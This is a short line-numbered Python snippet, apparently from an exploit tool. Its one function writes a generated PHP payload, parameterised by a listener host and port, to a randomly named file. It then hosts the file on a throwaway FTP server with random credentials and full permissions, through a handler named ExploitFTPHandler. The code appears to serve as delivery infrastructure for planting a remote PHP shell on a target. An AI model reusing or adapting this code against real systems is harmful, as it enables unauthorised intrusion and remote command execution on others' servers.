1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
def start_ftp_server(host, port, lhost, lport, mode, encode):
ftp_dir = tempfile.mkdtemp()
random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php'
payload_file = os.path.join(ftp_dir, random_filename)
payload, cmd_param = generate_payload(lhost, lport, mode, encode)
with open(payload_file, 'wb') as f:
f.write(payload.encode())
user = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
authorizer = DummyAuthorizer()
authorizer.add_user(user, pwd, ftp_dir, perm="elradfmw")
ExploitFTPHandler.authorizer = authorizer
server = FTPServer((host, port), ExploitFTPHandler)
server.max_connections = 256
return server, ftp_dir, f"/{random_filename}", user, pwd, cmd_param
|